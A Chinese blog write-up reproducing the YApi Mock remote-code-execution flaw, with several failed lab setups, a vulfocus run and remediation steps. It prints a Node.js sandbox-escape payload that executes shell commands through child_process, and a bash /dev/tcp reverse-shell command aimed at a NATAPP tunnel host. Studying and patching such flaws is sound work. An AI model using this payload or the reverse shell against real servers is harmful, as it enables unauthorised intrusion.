YApi Mock功能远程代码执行漏洞复现_yyyyzzzllll的博客-程序员资料

技术标签: 漏洞复现  安全漏洞  

YApi Mock功能远程代码执行漏洞复现


漏洞描述

API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。

影响版本

YApi7月7日前版本,即版本<=1.92(后文有说明)

环境搭建

一、kali使用git直接克隆到本地(失败)

地址:https://github.com/Ryan-Miao/docker-yapi

git clone https://github.com/Ryan-Miao/docker-yapi.git

image-20210805174147977

然后启动环境

docker-compose up -d

加个-d在后台运行比较方便,如果想看到镜像的运行过程,可以不加-d,如下图

image-20210805181057212

二、nmp直接下载(失败)

地址 :https://github.com/YMFE/yapi/

下载后npm安装

npm install -g yapi-cli --registry https://registry.npm.taobao.org

目录下启动环境

yapi server 

服务管理

image-20210806113251607

启动环境后访问9090端口开始部署环境

image-20210806113449404

直接默认部署即可,也可以选择版本

image-20210806113656951

等待部署完成。

翻车:

image-20210806163846072

应该是没有MongoDB服务导致的

Mongdb安装配置

具体可以看这篇文章:https://www.cnblogs.com/jackson-yqj/p/11043770.html

1、下载Mongdb
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-4.0.10.tgz    # 下载
2、解压并拷贝到指定目录
tar -zxvf mongodb-linux-x86_64-4.0.10.tgz                                   # 解压
mv  mongodb-linux-x86_64-4.0.10/ /usr/local/mongodb                         # 将解压包拷贝到指定目录
3、配置系统环境变量

vim /etc/profile

会提示文件已存在,输入“e”,回车,然后键盘按下“i” ,进入编辑模式即可。在文件的最后加上:

#mongodb
export PATH=$PATH:/usr/local/mongodb/bin

image-20210806164250039

4、建MongoDB数据存放文件夹和日志记录文件夹
mkdir data/db
mkdir data/logs
5、创建MongoDB运行时使用的配置文件

1,进入bin目录下:cd /usr/local/mongodb/bin

2,创建mongodb.conf配置文件:vim mongodb.conf

会提示是new file,直接输入下面内容:

image-20210806173716900

保存好。

6、启动MongoDB服务

1,进入bin目录下:cd /usr/local/mongodb/bin

2,加载配置文件方式启动:./mongod -f mongodb.conf

报错

image-20210806170104606

看这篇文章:https://blog.csdn.net/qq_42910468/article/details/103076136

再次失败!放弃

三、另一个地址的git(失败)

git clone https://github.com/fjc0k/docker-YApi.git

docker-compose up -d

image-20210806144104290搭建成功,但是复现之后发现已经修复了

四、利用vulfous靶场

漏洞复现

1、注册用户

image-20210806145309567

这里虽然关闭了注册,我们在docker-compose.yml中将true修改为flase,关闭这个功能,这也是这个漏洞的防护方法之一

image-20210806145818553

然后重启镜像,随意注册一个用户

image-20210806150557699

2、添加项目

image-20210806150704266

3、添加接口

image-20210806150829618

4、设置mock

image-20210806151342304

写入Poc:i whoami &&ls /tmp即为要执行的命令,记得保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami &&  ls /tmp").toString()

5、访问Mock地址

回到预览位置,访问地址

image-20210806151156746

翻车

image-20210806151857631

说明该git下载的版本已经修复这个漏洞了。。 查看一下文档,果然。因此,漏洞版本为1.92之前的版本。。。

image-20210806153533728

这里因为版本问题复现复现失败,但是过程是一致的,后面利用vulfocus复现一下,只展示结果

6、命令执行成功

image-20210806183953773

7、反弹shell

同样,也可以利用命令实现反弹shell。

这里利用NATAPP实现隧道穿透到虚拟机https://natapp.cn/

image-20210806184423418

端口映射到公网上进行反弹shell

开启 ./natapp -authtoken=填自己的token值

在这里插入图片描述

监听4444端口 nc -lvp 4444

然后反弹shell命令

bash -i >& /dev/tcp/server.natappfree.cc/45741 0>&1

先鸽了没成功

漏洞修复

1、关闭YApi用户注册功能;修改完成后,重启YApi服务

"config.json"添加"closeRegister:true"配置项:
{
    
  "port": "*****",
  "closeRegister":true
}

2、暂时关闭mock功能(需要修改YApi代码)

在"config.json"中添加"mock: false";

"exts/yapi-plugin-andvanced-mock/server.js"中找到

if (caseData&&caseData.case_enable{
    ...}

在其上方添加

if(!yapi.WEBCONFIG.mock) {
    return false;}

3、白名单限制;

安全组配置白名单访问,或者使用NGINX进行代理,限制白名单IP访问;

4、检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yzl_007/article/details/119462849

智能推荐

vmware安装虚拟机出现“无法获得VMCI驱动程序的版本:句柄无效”的问题_vamvare 安装vmci驱动程序失败_jxfang7788的博客-程序员资料

如下图:先将vmware关闭,打开虚拟机的安装位置,找到vmx文件,如下:用记事本打开该文件,找到如下行:将TRUE改为FALSE,保存,再打开虚拟机。。

国内手机号正则表达式_普通网友的博客-程序员资料

java的写法: String pattern = "^((1[358][0-9])|(14[57])|(17[0678])|(19[7]))\\d{8}$"; javascript的写法: var ...

【岗位技能要求】人工智能+Python_人工智能预测和推荐岗位匹配的能力_sevieryang的博客-程序员资料

Python开发工程师岗位职责1、负责多个垂直频道的数据抓取工作、研究各种网站、网页、链接的形态,发现它们的特点和规律;2、对抓取的数据进行除重,匹配,过滤等处理;3、网络爬虫工具的设计、开发及优化;4、网页信息抽取等核心算法的研究和优化;5、熟悉网络爬虫原理,设计,实现岗位要求1、熟练Python语言,有go、java等其他语言开发经验者优先,有扎实的数据结构和算法功底;2、理...

java-2019面试题 附加答案(长期更新)_weixin_30287169的博客-程序员资料

https://blog.csdn.net/weixin_38399962/article/details/80358168转载于:https://www.cnblogs.com/xikui/p/11195522.html

office插件开发_PPT插件——OK之安装篇_weixin_39580042的博客-程序员资料

大家好,我是叶玄shine。一位热爱生活、热爱PPT的骚年。前两天有朋友在知乎上问我,下面这些图片用PPT怎么做到的?弯折图层次图渐变形状图毛玻璃我的答案:OneKey Lite。那什么是OneKey Lite(以下简称OK)呢?OK是一款PPT插件。是由一位大师@只为设计开发完成的,现在已经有一百四五十个功能。功能涵盖形状、调色、图片、演示、辅助等方面。在图片形状处理方面尤为突出。清楚了吧,如果...

随便推点

React.FC和React.ReactNode和JSX.Element和React.ReactNode的区别与使用_react reactnode_爱技术的大仙的博客-程序员资料

一、React.FC用React.FC可以在组件中改变state的值import React, { useState } from 'react';export interface UserProps { updateModalVisible: boolean;}const User: React.FC&lt;UserProps&gt; = () =&gt; { let [count, setCount] = useState(4); const changeVal = () =

LWN: 5.3开发周期数据分析_LinuxNews搬运工的博客-程序员资料

点击上方蓝色“Linux News搬运工”关注我们~5.3 Kernel development cycle statisticsByJonathan Corbet截至...

uploadify 上传文件出现HTTP 404错误_yw1688的博客-程序员资料

今天在使用jquery.uploadify.js上传文件的时候,出现HTTP 404错误,此错误在上传较小文件时不会出现,在上传一个50M左右文件时出现此错误,经过测试和日志查看发现,根本没有进入后台服务端代码(MVC);检查了uploadify的相关参数,也没有发现问题:'fileSizeLimit': 0, //不限制文件大小'successTimeout':36000, //超时

Pandas查询数据的四种方式以及使用df.loc查询数据的五种方法_3_天问_z的博客-程序员资料

import numpy as npimport pandas as pd"""pandas查询数据的几种方法1.df.loc,根据行列标签值进行查询2.df.iloc,根据行列的数字位置进行查询3.df.where4.df.query*:.loc既能查询,又能覆盖写入pandas使用df.loc查询数据的方法1.使用单个label值进行查询2.使用值列表进行批量查询3.使用数值区间进行范围查询4.使用条件表达式进行查询5.使用函数进行查询注意:1.以上查询方法既适用于行

Hibernate升级到5.4.18.final的过程踩过的坑_hibernate3升级至hibernate5需要注意什么_茫茫人海一粒沙的博客-程序员资料

版本Library Current Upgraded Hibernate-core 3.6.10.Final 5.4.18.final Hibenrate-valicator 4.2.0.Final 6.1.5.final 1. 抛javax.persistence.TransactionRequiredException异常如果没有事务时javax.persistence.TransactionRequiredException: Executing

总结--CPU高速缓存_weixin_33727510的博客-程序员资料

前言五一小长假过完了,在刷了四天剧后又要开启975养老生活了,收假第一天补一篇关于CPU高速缓存的文章,错误之处欢迎大家指正。正文为什么需要高速缓存我们都知道,程序是由一条条指令和数据组成的,CPU在运行时的工作也是周而复始的执行一条条用途各异的指令。在一开始,程序加载到主存,在程序执行的过程中,将指令一条条的从主存中取出并执行,宏观上来说我们把主存看做是一个很大的一维字节数组,地址即可...

推荐文章

热门文章

相关标签